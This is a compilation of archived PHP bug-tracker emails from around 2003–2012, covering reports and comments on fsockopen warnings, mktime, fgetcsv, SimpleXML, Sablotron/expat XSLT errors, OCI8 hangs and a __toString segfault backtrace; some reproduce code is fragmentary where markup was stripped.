Name or service not known in /home/.sites/.blahphp on line 14 Warning: fsockopen(): unable to connect to blah.com:80 in /home/.sites/blah.php on line 14 Resource temporarily unavailable (11) Reproduce code: --- Warning: fsockopen(): php_network_getaddresses: getaddrinfo failed: Name or service not known in /home/.sites/.blahphp on line 14 Warning: fsockopen(): unable to connect to blah.com:80 in /home/.sites/blah.php on line 14 Resource temporarily unavailable (11) Expected result: I expect the page to connect securely to a secure server and send some secure details. I get the warning at the top of the page. Several refreshes of the browser rectifies. I have to use this PHP code, which has been provided by the Payment provider, to get to a server that takes online payments, some information is first sent securely in order to reach the payment page on the Payment providers server. Actual result: -- The simle page takes time to load and when it does the fsockopen warning is present. -- Edit this bug report at http://bugs.php.net/?id=26016&edit=1
#27866 [NEW]: mktime() returns invalid value
From: andrew at mansionproductions dot com Operating system: FreeBSD 4.8 PHP version: 4.3.5 PHP Bug Type: Date/time related Bug description: mktime() returns invalid value Description: mktime(0,0,0,4,4,2004) returns -7262 Reproduce code: --- Expected result: $test should be 1081026000 Actual result: -- $time is -7262 -- Edit bug report at http://bugs.php.net/?id=27866&edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=27866&r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=27866&r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=27866&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=27866&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=27866&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=27866&r=needscript Try newer version: http://bugs.php.net/fix.php?id=27866&r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=27866&r=support Expected behavior: http://bugs.php.net/fix.php?id=27866&r=notwrong Not enough info:http://bugs.php.net/fix.php?id=27866&r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=27866&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=27866&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=27866&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=27866&r=dst IIS Stability: http://bugs.php.net/fix.php?id=27866&r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=27866&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=27866&r=float
#28347 [NEW]: fgetcsv gives error with delim and enclosure set as variable
From: andrew at shh dot fi
Operating system: win32
PHP version: 5.0.0RC2
PHP Bug Type: Filesystem function related
Bug description: fgetcsv gives error with delim and enclosure set as variable
Description:
Pass a variable to the delimiter and enclosure of the fgetcsv returns the
error:
Warning: fgetcsv() [function.fgetcsv]: enclosure must be a character in
It seems that it will only accept it hard coded:
fgetcsv($handle, 2000, ",", '')
All a bit wierd!
Used the latest CVS
Works in 4.3.7
Reproduce code:
---
function csv_import($file, $delimiter = ",", $enclosure='') {
$handle = fopen($file, "r");
$csv_arr = array();
while (($data_arr = fgetcsv($handle, 2000, $delimiter, $enclosure)) !==
FALSE) {
$csv_arr[] = $data_arr;
$row++;
}
fclose($handle);
}
Expected result:
No error
--
Edit bug report at http://bugs.php.net/?id=28347&edit=1
--
Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=28347&r=trysnapshot4
Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=28347&r=trysnapshot5
Fixed in CVS: http://bugs.php.net/fix.php?id=28347&r=fixedcvs
Fixed in release: http://bugs.php.net/fix.php?id=28347&r=alreadyfixed
Need backtrace: http://bugs.php.net/fix.php?id=28347&r=needtrace
Need Reproduce Script: http://bugs.php.net/fix.php?id=28347&r=needscript
Try newer version: http://bugs.php.net/fix.php?id=28347&r=oldversion
Not developer issue:http://bugs.php.net/fix.php?id=28347&r=support
Expected behavior: http://bugs.php.net/fix.php?id=28347&r=notwrong
Not enough info:http://bugs.php.net/fix.php?id=28347&r=notenoughinfo
Submitted twice:http://bugs.php.net/fix.php?id=28347&r=submittedtwice
register_globals: http://bugs.php.net/fix.php?id=28347&r=globals
PHP 3 support discontinued: http://bugs.php.net/fix.php?id=28347&r=php3
Daylight Savings: http://bugs.php.net/fix.php?id=28347&r=dst
IIS Stability: http://bugs.php.net/fix.php?id=28347&r=isapi
Install GNU Sed:http://bugs.php.net/fix.php?id=28347&r=gnused
Floating point limitations: http://bugs.php.net/fix.php?id=28347&r=float
#28826 [Com]: SimpleXML expands entities but DOM + XSL does not
ID: 28826 Comment by: andrew at shh dot fi Reported By: joe at joerags dot com Status: Bogus Bug Type: XSLT related Operating System: Mac OS 10.2.8 PHP Version: 5CVS-2004-06-18 (dev) New Comment: I have the same problem as this person. I am using libxml 2.5.11 and libxslt 1.0.33. By the way this has only been tested on win32 (php 5). Works fine with sablot but not with any of the domxml/xslt in 4 or 5. Haven't found a solution yet which is big problem as can't move to php5 until it works Previous Comments: [2004-06-22 06:19:39] joe at joerags dot com I did the following and the test script I submitted works. Using Fink (http://fink.sourceforge.net), I had it build and install libxml2 2.5.10 and libxslt 1.0.32. I then recompiled PHP 5 RC3 with these configuration commands: ./configure --prefix=/usr/local --with-zlib --with-libxml-dir=/sw --with-xsl=/sw --with-apxs=/usr/ sbin/apxs The test script I submitted likely didn't work either because of user error on my part or a bug in something other than PHP. [2004-06-18 11:09:05] joe at joerags dot com Description: When attempting to do an XSL transformation using the new DOM and XSL extensions available in PHP 5, I've noticed entities aren't expanded in the output. If I import the DOM object into SimpleXML, the entities are expanded. The first time I attempted to run the following code I was using PHP 5 RC3, libxml2 2.6.10, and libxslt 1.1.7. I am now using CVS versions of PHP 5, libxml2, and libxslt in order to see if this was a bug fixed in either PHP 5, libxml2, or libxslt. The CVS versions I'm using were downloaded June 18th. I run Apache 1.3.31 under Mac OS 10.2.8. I don't recall seeing any errors when I built and installed Apache, PHP, libxml2, or libxslt. Reproduce code: --- ]> Example Document &entity1; &entity2; EOD; $xsl = <<http://www.w3.org/1999/XSL/Transform";> XSL Element 1: XSL Element 2: XSL Element 3: EOD; $xmlDocument = new DomDocument; $xmlDocument->loadXML($xml); $xslDocument = new DomDocument; $xslDocument->loadXML($xsl); $processor = new XsltProcessor; $processor->importStyleSheet($xslDocument); print $processor->transformToXML($xmlDocument); $xmlDocument = simplexml_import_dom($xmlDocument); print 'SimpleXML Element 1: ' . $xmlDocument->element1 . ''; print 'SimpleXML Element 2: ' . $xmlDocument->element2 . ''; print 'SimpleXML Element 3: ' . $xmlDocument->element3 . ''; ?> Expected result: XSL Element 1: Example Document XSL Element 2: Entity 1 XSL Element 3: Entity 2 SimpleXML Element 1: Example Document SimpleXML Element 2: Entity 1 SimpleXML Element 3: Entity 2 Actual result: -- XSL Element 1: Example Document XSL Element 2: XSL Element 3: SimpleXML Element 1: Example Document SimpleXML Element 2: Entity 1 SimpleXML Element 3: Entity 2 -- Edit this bug report at http://bugs.php.net/?id=28826&edit=1
#28826 [Com]: SimpleXML expands entities but DOM + XSL does not
ID: 28826 Comment by: andrew at shh dot fi Reported By: joe at joerags dot com Status: Bogus Bug Type: XSLT related Operating System: Mac OS 10.2.8 PHP Version: 5CVS-2004-06-18 (dev) New Comment: OK here its - the answer for 5 at the mo - $xmldoc = new DomDocument(); $xmldoc->resolveExternals = TRUE; $xmldoc->substituteEntities = TRUE; $xmldoc->load($this->xml); $xsldoc = new DomDocument(); $xsldoc->load($this->xsl); Previous Comments: [2004-08-11 19:38:45] andrew at shh dot fi I have the same problem as this person. I am using libxml 2.5.11 and libxslt 1.0.33. By the way this has only been tested on win32 (php 5). Works fine with sablot but not with any of the domxml/xslt in 4 or 5. Haven't found a solution yet which is big problem as can't move to php5 until it works [2004-06-22 06:19:39] joe at joerags dot com I did the following and the test script I submitted works. Using Fink (http://fink.sourceforge.net), I had it build and install libxml2 2.5.10 and libxslt 1.0.32. I then recompiled PHP 5 RC3 with these configuration commands: ./configure --prefix=/usr/local --with-zlib --with-libxml-dir=/sw --with-xsl=/sw --with-apxs=/usr/ sbin/apxs The test script I submitted likely didn't work either because of user error on my part or a bug in something other than PHP. [2004-06-18 11:09:05] joe at joerags dot com Description: When attempting to do an XSL transformation using the new DOM and XSL extensions available in PHP 5, I've noticed entities aren't expanded in the output. If I import the DOM object into SimpleXML, the entities are expanded. The first time I attempted to run the following code I was using PHP 5 RC3, libxml2 2.6.10, and libxslt 1.1.7. I am now using CVS versions of PHP 5, libxml2, and libxslt in order to see if this was a bug fixed in either PHP 5, libxml2, or libxslt. The CVS versions I'm using were downloaded June 18th. I run Apache 1.3.31 under Mac OS 10.2.8. I don't recall seeing any errors when I built and installed Apache, PHP, libxml2, or libxslt. Reproduce code: --- ]> Example Document &entity1; &entity2; EOD; $xsl = <<http://www.w3.org/1999/XSL/Transform";> XSL Element 1: XSL Element 2: XSL Element 3: EOD; $xmlDocument = new DomDocument; $xmlDocument->loadXML($xml); $xslDocument = new DomDocument; $xslDocument->loadXML($xsl); $processor = new XsltProcessor; $processor->importStyleSheet($xslDocument); print $processor->transformToXML($xmlDocument); $xmlDocument = simplexml_import_dom($xmlDocument); print 'SimpleXML Element 1: ' . $xmlDocument->element1 . ''; print 'SimpleXML Element 2: ' . $xmlDocument->element2 . ''; print 'SimpleXML Element 3: ' . $xmlDocument->element3 . ''; ?> Expected result: XSL Element 1: Example Document XSL Element 2: Entity 1 XSL Element 3: Entity 2 SimpleXML Element 1: Example Document SimpleXML Element 2: Entity 1 SimpleXML Element 3: Entity 2 Actual result: -- XSL Element 1: Example Document XSL Element 2: XSL Element 3: SimpleXML Element 1: Example Document SimpleXML Element 2: Entity 1 SimpleXML Element 3: Entity 2 -- Edit this bug report at http://bugs.php.net/?id=28826&edit=1
#28924 [Com]: Apache SAPI and Oracle OCI memory conflict
ID: 28924 Comment by: andrew at onvol dot net Reported By: ben at grinvalds dot net Status: Open Bug Type: OCI8 related Operating System: Windows XP PHP Version: 5.0.0RC3 Assigned To: tony2001 New Comment: I have to same problem and I've tried with the following setups: windows 2K/Apache2.0.50/PHP5.0.1(SAPI)/Oracle 9.2 windows 2K/Apache1.3.31/PHP5.0.1(SAPI)/Oracle 9.2 Seems to work fine with CGI. Previous Comments: [2004-08-25 14:42:29] wreckmybike at yahoo dot com Heres the setup: windows XP/Apache2.0.50/PHP5.0.0(SAPI)/Oracle 9.2 Applications interacting with OCI8 (logon, parse, execute, fetch,logoff), which worked as expected using the latest PHP4 release, resulted in an apache2 crash. "Parent: child process exited with status 3221225477 -- Restarting".. I then upgraded to PHP5.0.1 which seems to have fixed the above crashes but now causes every couple of requests to result in the browser hanging - waiting for the server response. If I hit the browsers refresh button it forces a response. I suspect it has something to do with the OCI8 Logon/Logoff function. I have none of these issues when running PHP5 as a CGI. [2004-08-23 12:49:04] tanis at altralogica dot it I am experiencing the same problem with Apache 1.3.29 and PHP 5.0.0, 5.0.1 and 5.0.2-dev of today (August, 23), so I guess this has not been solved yet. Is there anything I could to do help debug this problem? I am getting mad trying to work with this configuration but I cannot do otherwise. Till now 5.0.0 is the only one that is working from time to time. All other versions hung immediately. [2004-07-19 23:46:09] ben at grinvalds dot net I went and got the latest version PHP 5.0.1-dev (cli). I ran the following script from the console and it consistantly hung the php execution. This is how I executed it at the command prompt (> php.exe -f test.php). Here is the script I ran. The object count for my database was just over 10,000 records. [2004-07-19 17:24:56] [EMAIL PROTECTED] Could you please try latest CVS snapshots from http://snaps.php.net? And could you try to run the code from console too? Does it crash? [2004-06-30 18:15:52] ben at grinvalds dot net I've been doing some more investigation. When I changed my php configuration in the Apache http.conf from sapi to cgi, the problem goes away. Looks like the problem is related to the sapi module. The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/28924 -- Edit this bug report at http://bugs.php.net/?id=28924&edit=1
#31846 [NEW]: simplexml_load_string doesn't get root node
From: andrew at shh dot fi Operating system: win32 PHP version: 5.0.3 PHP Bug Type: SimpleXML related Bug description: simplexml_load_string doesn't get root node Description: $xml = simplexml_load_string($xml_str) returns all tags correctly except the root node. There appears to be NO WAY to get the the name of the root tag Reproduce code: --- $xml = 'Hello'; $simple = simplexml_load_string($xml); print_r($simple); Expected result: The object should include the root tag, except it starts from child of the root -- Edit bug report at http://bugs.php.net/?id=31846&edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=31846&r=trysnapshot4 Try a CVS snapshot (php5.0): http://bugs.php.net/fix.php?id=31846&r=trysnapshot50 Try a CVS snapshot (php5.1): http://bugs.php.net/fix.php?id=31846&r=trysnapshot51 Fixed in CVS:http://bugs.php.net/fix.php?id=31846&r=fixedcvs Fixed in release:http://bugs.php.net/fix.php?id=31846&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=31846&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=31846&r=needscript Try newer version: http://bugs.php.net/fix.php?id=31846&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=31846&r=support Expected behavior: http://bugs.php.net/fix.php?id=31846&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=31846&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=31846&r=submittedtwice register_globals:http://bugs.php.net/fix.php?id=31846&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=31846&r=php3 Daylight Savings:http://bugs.php.net/fix.php?id=31846&r=dst IIS Stability: http://bugs.php.net/fix.php?id=31846&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=31846&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=31846&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=31846&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=31846&r=mysqlcfg
#31846 [Bgs]: simplexml_load_string doesn't get root node
ID: 31846 User updated by: andrew at shh dot fi Reported By: andrew at shh dot fi Status: Bogus Bug Type: SimpleXML related Operating System: win32 PHP Version: 5.0.3 New Comment: So, using simpleXML, one can never know the root tag. Should we guess? The idea of an XML parser is to return ALL the nodes and not some of them. Take docbook - you have different root nodes depending on whether its simple or full. My point is, if you are having an xml parser, then it needs to read all nodes top-bottom, otherwise there is no point using it - and as you say correctly - might as well use DOM. Previous Comments: [2005-02-07 16:37:04] [EMAIL PROTECTED] This is correct. print_r shows you the children nodes of the choosen node. in your code, $simple *is* the root node. I don't see anything wrong. There's no such thing as SimpleXMLDocument Object in SimpleXML. And yes, there is no way of getting the name of the root tag. Use DOM if you need that. [2005-02-04 16:28:06] andrew at shh dot fi Description: $xml = simplexml_load_string($xml_str) returns all tags correctly except the root node. There appears to be NO WAY to get the the name of the root tag Reproduce code: --- $xml = 'Hello'; $simple = simplexml_load_string($xml); print_r($simple); Expected result: The object should include the root tag, except it starts from child of the root -- Edit this bug report at http://bugs.php.net/?id=31846&edit=1
#31846 [Bgs->Opn]: simplexml_load_string doesn't get root node
ID: 31846 User updated by: andrew at shh dot fi Reported By: andrew at shh dot fi -Status: Bogus +Status: Open Bug Type: SimpleXML related Operating System: win32 PHP Version: 5.0.3 New Comment: Will simpleXML ever be changed to include root nodes? Previous Comments: [2005-02-07 19:56:30] andrew at shh dot fi So, using simpleXML, one can never know the root tag. Should we guess? The idea of an XML parser is to return ALL the nodes and not some of them. Take docbook - you have different root nodes depending on whether its simple or full. My point is, if you are having an xml parser, then it needs to read all nodes top-bottom, otherwise there is no point using it - and as you say correctly - might as well use DOM. [2005-02-07 16:37:04] [EMAIL PROTECTED] This is correct. print_r shows you the children nodes of the choosen node. in your code, $simple *is* the root node. I don't see anything wrong. There's no such thing as SimpleXMLDocument Object in SimpleXML. And yes, there is no way of getting the name of the root tag. Use DOM if you need that. [2005-02-04 16:28:06] andrew at shh dot fi Description: $xml = simplexml_load_string($xml_str) returns all tags correctly except the root node. There appears to be NO WAY to get the the name of the root tag Reproduce code: --- $xml = 'Hello'; $simple = simplexml_load_string($xml); print_r($simple); Expected result: The object should include the root tag, except it starts from child of the root -- Edit this bug report at http://bugs.php.net/?id=31846&edit=1
#24296 [NEW]: Sablot XSLT gives error 3 when xml file too big
From: andrew at shh dot fi Operating system: win32 and linux PHP version: 4.3.2 PHP Bug Type: XSLT related Bug description: Sablot XSLT gives error 3 when xml file too big Description: The setup is an xml document with several external entities including xml files. Using the standard xslt functions in php the problem begins when the filesize exceed a limit (don't know what the size is unless I start couting all the includes). By choopping out a number of lines from the files the problem is OK. Its not about structure as this works OK in MsXML plus other packages like XML Spy. The problem is definately with the sablot/expat somewhere. I am not sure whether its a combination of entities and filesize or just filesize. What appears to be happening is some kind of cache that chops the end off therefore giving an error 3 which is an no element found error. Perhaps the problem is with expat? Any ideas? Reproduce code: --- Expected result: A load of text Actual result: -- Warning: Sablotron error on line 293: XML parser error 3: no element found in E:\projects\studybuilder\parse.php on line 12 Error Number: 2 XML parser error 3: no element found -- Edit bug report at http://bugs.php.net/?id=24296&edit=1 -- Try a CVS snapshot: http://bugs.php.net/fix.php?id=24296&r=trysnapshot Fixed in CVS: http://bugs.php.net/fix.php?id=24296&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=24296&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=24296&r=needtrace Try newer version: http://bugs.php.net/fix.php?id=24296&r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=24296&r=support Expected behavior: http://bugs.php.net/fix.php?id=24296&r=notwrong Not enough info:http://bugs.php.net/fix.php?id=24296&r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=24296&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=24296&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=24296&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=24296&r=dst IIS Stability: http://bugs.php.net/fix.php?id=24296&r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=24296&r=gnused
#24296 [Fbk->Opn]: Sablot XSLT gives error 3 when xml file too big
ID: 24296 User updated by: andrew at shh dot fi Reported By: andrew at shh dot fi -Status: Feedback +Status: Open Bug Type: XSLT related Operating System: win32 and linux PHP Version: 4.3.2 New Comment: I found another person who had experienced similar problems on the Gingerall.com site. He had attached an example file. The size is 277034 characters - rather large. This appears to fail. However, I have installed the latest Expat Release 1.95.6 update and it seems to have worked - from a command line. The problem will now need to be addressed in the PHP sablot. Heres the xslt file: http://www.w3.org/1999/XSL/Transform"; version="1.0"> Heres the xml file1: test.xml ]> &module1; And heres part of the external xml file: test2.xml Well these are examples but in the real work I need to pass a huge xml file with lots of data. regards Previous Comments: [2003-06-23 17:51:31] [EMAIL PROTECTED] Could you at least aproximate the size of the xml file at which the problems begins to occur? ---- [2003-06-23 06:43:02] andrew at shh dot fi Description: The setup is an xml document with several external entities including xml files. Using the standard xslt functions in php the problem begins when the filesize exceed a limit (don't know what the size is unless I start couting all the includes). By choopping out a number of lines from the files the problem is OK. Its not about structure as this works OK in MsXML plus other packages like XML Spy. The problem is definately with the sablot/expat somewhere. I am not sure whether its a combination of entities and filesize or just filesize. What appears to be happening is some kind of cache that chops the end off therefore giving an error 3 which is an no element found error. Perhaps the problem is with expat? Any ideas? Reproduce code: --- Expected result: A load of text Actual result: -- Warning: Sablotron error on line 293: XML parser error 3: no element found in E:\projects\studybuilder\parse.php on line 12 Error Number: 2 XML parser error 3: no element found -- Edit this bug report at http://bugs.php.net/?id=24296&edit=1
#24296 [Opn]: Sablot XSLT gives error 3 when xml file too big
ID: 24296 User updated by: andrew at shh dot fi Reported By: andrew at shh dot fi Status: Open Bug Type: XSLT related Operating System: win32 and linux PHP Version: 4.3.2 New Comment: Problem resolved!! Upgrade the expat to the latest version and everything works Previous Comments: [2003-06-24 01:25:05] andrew at shh dot fi I found another person who had experienced similar problems on the Gingerall.com site. He had attached an example file. The size is 277034 characters - rather large. This appears to fail. However, I have installed the latest Expat Release 1.95.6 update and it seems to have worked - from a command line. The problem will now need to be addressed in the PHP sablot. Heres the xslt file: http://www.w3.org/1999/XSL/Transform"; version="1.0"> Heres the xml file1: test.xml ]> &module1; And heres part of the external xml file: test2.xml Well these are examples but in the real work I need to pass a huge xml file with lots of data. regards [2003-06-23 17:51:31] [EMAIL PROTECTED] Could you at least aproximate the size of the xml file at which the problems begins to occur? ---- [2003-06-23 06:43:02] andrew at shh dot fi Description: The setup is an xml document with several external entities including xml files. Using the standard xslt functions in php the problem begins when the filesize exceed a limit (don't know what the size is unless I start couting all the includes). By choopping out a number of lines from the files the problem is OK. Its not about structure as this works OK in MsXML plus other packages like XML Spy. The problem is definately with the sablot/expat somewhere. I am not sure whether its a combination of entities and filesize or just filesize. What appears to be happening is some kind of cache that chops the end off therefore giving an error 3 which is an no element found error. Perhaps the problem is with expat? Any ideas? Reproduce code: --- Expected result: A load of text Actual result: -- Warning: Sablotron error on line 293: XML parser error 3: no element found in E:\projects\studybuilder\parse.php on line 12 Error Number: 2 XML parser error 3: no element found -- Edit this bug report at http://bugs.php.net/?id=24296&edit=1
#24296 [NoF->Csd]: Sablot XSLT gives error 3 when xml file too big
ID: 24296 User updated by: andrew at shh dot fi Reported By: andrew at shh dot fi -Status: No Feedback +Status: Closed Bug Type: XSLT related Operating System: win32 and linux PHP Version: 4.3.2 Assigned To: edink New Comment: Expat 1.95.6 http://sourceforge.net/projects/expat/ Previous Comments: [2003-07-20 10:40:24] [EMAIL PROTECTED] No feedback was provided. The bug is being suspended because we assume that you are no longer experiencing the problem. If this is not the case and you are able to provide the information that was requested earlier, please do so and change the status of the bug back to "Open". Thank you. [2003-07-14 18:27:43] [EMAIL PROTECTED] Which expat version worked for you? [2003-06-26 12:54:44] [EMAIL PROTECTED] Edin, can you update the expat lib in the win32 stuff..? Andrew, what version did you use? [2003-06-25 02:17:41] andrew at shh dot fi Problem resolved!! Upgrade the expat to the latest version and everything works [2003-06-24 01:25:05] andrew at shh dot fi I found another person who had experienced similar problems on the Gingerall.com site. He had attached an example file. The size is 277034 characters - rather large. This appears to fail. However, I have installed the latest Expat Release 1.95.6 update and it seems to have worked - from a command line. The problem will now need to be addressed in the PHP sablot. Heres the xslt file: http://www.w3.org/1999/XSL/Transform"; version="1.0"> Heres the xml file1: test.xml ]> &module1; And heres part of the external xml file: test2.xml Well these are examples but in the real work I need to pass a huge xml file with lots of data. regards The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/24296 -- Edit this bug report at http://bugs.php.net/?id=24296&edit=1
#24296 [Csd->Opn]: Sablot XSLT gives error 3 when xml file too big
ID: 24296 User updated by: andrew at shh dot fi Reported By: andrew at shh dot fi -Status: Closed +Status: Open Bug Type: XSLT related Operating System: win32 and linux PHP Version: 4.3.2 Assigned To: edink New Comment: Close this if need be. It works for me now and the same if you run the updaté on Linux. Previous Comments: [2003-07-20 15:56:55] andrew at shh dot fi Expat 1.95.6 http://sourceforge.net/projects/expat/ [2003-07-20 10:40:24] [EMAIL PROTECTED] No feedback was provided. The bug is being suspended because we assume that you are no longer experiencing the problem. If this is not the case and you are able to provide the information that was requested earlier, please do so and change the status of the bug back to "Open". Thank you. [2003-07-14 18:27:43] [EMAIL PROTECTED] Which expat version worked for you? [2003-06-26 12:54:44] [EMAIL PROTECTED] Edin, can you update the expat lib in the win32 stuff..? Andrew, what version did you use? [2003-06-25 02:17:41] andrew at shh dot fi Problem resolved!! Upgrade the expat to the latest version and everything works The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/24296 -- Edit this bug report at http://bugs.php.net/?id=24296&edit=1
#28770 [NEW]: Input form variables getting corrupted
From: andrew at shh dot fi Operating system: Linux Debian PHP version: 4.3.7 PHP Bug Type: URL related Bug description: Input form variables getting corrupted Description: Is this a bug or what. Hust upgraded to 4.3.7 and noticed that input (type=text) form variables are getting corrupted. so that e.g. $username, andrew = Ú6öÙ© However the password field was OK. Is this a bug or am I going crazy. It works ok with $_REQUEST variables Global variables is ON (unfortunately) Expected result: Should have the value from the form -- Edit bug report at http://bugs.php.net/?id=28770&edit=1 -- Try a CVS snapshot (php4): http://bugs.php.net/fix.php?id=28770&r=trysnapshot4 Try a CVS snapshot (php5): http://bugs.php.net/fix.php?id=28770&r=trysnapshot5 Fixed in CVS: http://bugs.php.net/fix.php?id=28770&r=fixedcvs Fixed in release: http://bugs.php.net/fix.php?id=28770&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=28770&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=28770&r=needscript Try newer version: http://bugs.php.net/fix.php?id=28770&r=oldversion Not developer issue:http://bugs.php.net/fix.php?id=28770&r=support Expected behavior: http://bugs.php.net/fix.php?id=28770&r=notwrong Not enough info:http://bugs.php.net/fix.php?id=28770&r=notenoughinfo Submitted twice:http://bugs.php.net/fix.php?id=28770&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=28770&r=globals PHP 3 support discontinued: http://bugs.php.net/fix.php?id=28770&r=php3 Daylight Savings: http://bugs.php.net/fix.php?id=28770&r=dst IIS Stability: http://bugs.php.net/fix.php?id=28770&r=isapi Install GNU Sed:http://bugs.php.net/fix.php?id=28770&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=28770&r=float
Bug #60701 [Com]: __toString() which stores $this reference triggers segfault (with fix!)
Edit report at https://bugs.php.net/bug.php?id=60701&edit=1
ID: 60701
Comment by: andrew at localcoast dot net
Reported by:daan at react dot com
Summary:__toString() which stores $this reference triggers
segfault (with fix!)
Status: Assigned
Type: Bug
Package:Reproducible crash
Operating System: CentOS
PHP Version:5.3.8
Assigned To:dmitry
Block user comment: N
Private report: N
New Comment:
I can produce a similar issue on PHP 5.3.10 on Ubuntu 10.04 LTS x86_64 with the
patch applied. However, the initial test script provided in the first comment
runs without trouble.
Here's the backtrace for the issue I am having:
http://paste2.org/p/1900387
#0 0x7f71fa9b8d11 in gc_zval_possible_root (zv=0x7f7201483740) at
/home/andrew/.Applications/build/php-5.3.10-patched/Zend/zend_gc.c:143
#1 0x7f71fa9a777b in zend_hash_destroy (ht=0x7f7201496908) at
/home/andrew/.Applications/build/php-5.3.10-patched/Zend/zend_hash.c:529
p = 0x7f7201497c58
#2 0x7f71fa9ba379 in zend_object_std_dtor (object=0x7f7201497428) at
/home/andrew/.Applications/build/php-5.3.10-patched/Zend/zend_objects.c:45
#3 0x7f71fa9ba399 in zend_objects_free_object_storage
(object=0x7f7201483740) at
/home/andrew/.Applications/build/php-5.3.10-patched/Zend/zend_objects.c:126
#4 0x7f71fa9bdba8 in zend_objects_store_free_object_storage
(objects=0x7f71fb162a18) at
/home/andrew/.Applications/build/php-5.3.10-patched/Zend/zend_objects_API.c:92
i = 626
#5 0x7f71fa98ebfb in shutdown_executor () at
/home/andrew/.Applications/build/php-5.3.10-patched/Zend/zend_execute_API.c:304
__bailout = {{__jmpbuf = {140127520564832, -3282099667358606386,
140127614418320, 0, -4294967295, 140127589456664, -3211606770996110386,
-3282099660654535730}, __mask_was_saved = 0, __saved_mask = {__val =
{140127612053568, 96, 140127512287676,
140127629890216, 140127638595144, 88, 140127512287676, 592,
140127512287676, 140127520566336, 140127520563352, 140127520564648, 0,
18446744069414584321, 140127512403989, 140127520566336
#6 0x7f71fa99b612 in zend_deactivate () at
/home/andrew/.Applications/build/php-5.3.10-patched/Zend/zend.c:891
#7 0x7f71fa947ad5 in php_request_shutdown (dummy=) at
/home/andrew/.Applications/build/php-5.3.10-patched/main/main.c:1661
report_memleaks = 1 '\001'
#8 0x7f71faa24a97 in php_apache_request_dtor (r=) at
/home/andrew/.Applications/build/php-5.3.10-patched/sapi/apache2handler/sapi_apache2.c:509
#9 php_handler (r=) at
/home/andrew/.Applications/build/php-5.3.10-patched/sapi/apache2handler/sapi_apache2.c:681
ctx = 0x7f7200ae5840
conf = 0x7f7200689c98
brigade = 0x7f7200ae6658
bucket =
rv =
parent_req = 0x0
#10 0x7f71ff0e3280 in ap_run_handler (r=0x7f7200ae3d90) at
/build/buildd/apache2-2.2.14/server/config.c:159
n = 6
rv = -2039876096
#11 0x7f71ff0e6be8 in ap_invoke_handler (r=0x7f7200ae3d90) at
/build/buildd/apache2-2.2.14/server/config.c:373
handler = 0x7f7200ad61d8 "Xa\255"
result = 11362776
old_handler = 0x7f7200792ec8 "application/x-httpd-php"
ignore =
#12 0x7f71ff0f45fc in ap_internal_redirect (new_uri=,
r=) at
/build/buildd/apache2-2.2.14/modules/http/http_request.c:501
new = 0x7f7200ae3d90
access_status = -2039876096
#13 0x7f71f664dc95 in ?? () from /usr/lib/apache2/modules/mod_rewrite.so
No symbol table info available.
#14 0x7f71ff0e3280 in ap_run_handler (r=0x7f7200ad61d8) at
/build/buildd/apache2-2.2.14/server/config.c:159
n = 7
rv = -2039876096
#15 0x7f71ff0e6be8 in ap_invoke_handler (r=0x7f7200ad61d8) at
/build/buildd/apache2-2.2.14/server/config.c:373
handler = 0x0
result = 0
old_handler = 0x7f71f6651e58 "redirect-handler"
ignore =
#16 0x7f71ff0f47d8 in ap_process_request (r=0x7f7200ad61d8) at
/build/buildd/apache2-2.2.14/modules/http/http_request.c:282
access_status = -2039876096
#17 0x7f71ff0f1688 in ap_process_http_connection (c=0x7f7200ad0118) at
/build/buildd/apache2-2.2.14/modules/http/http_core.c:190
r = 0x7f7200ad61d8
csd = 0x0
#18 0x7f71ff0eae38 in ap_run_process_connection (c=0x7f7200ad0118) at
/build/buildd/apache2-2.2.14/server/connection.c:43
n = 2
rv = -2039876096
#19 0x7f71ff0f97a7 in child_main (child_num_arg=) at
/build/buildd/apache2-2.2.14/server/mpm/prefork/prefork.c:662
current_conn =
csd = 0x7f7200acff28
ptrans = 0x7f7200acfea8
allocator = 0x7f7200acdda0
status =
i =
lr =
pollset = 0x7f7200acdfc8
sbh = 0x7f7200acdfc0
bucket_alloc = 0x7f7200ad4148
last_poll_idx = 0
#20 0x7f71ff0
Bug #61792 [Com]: preg_replace_callback memory leak
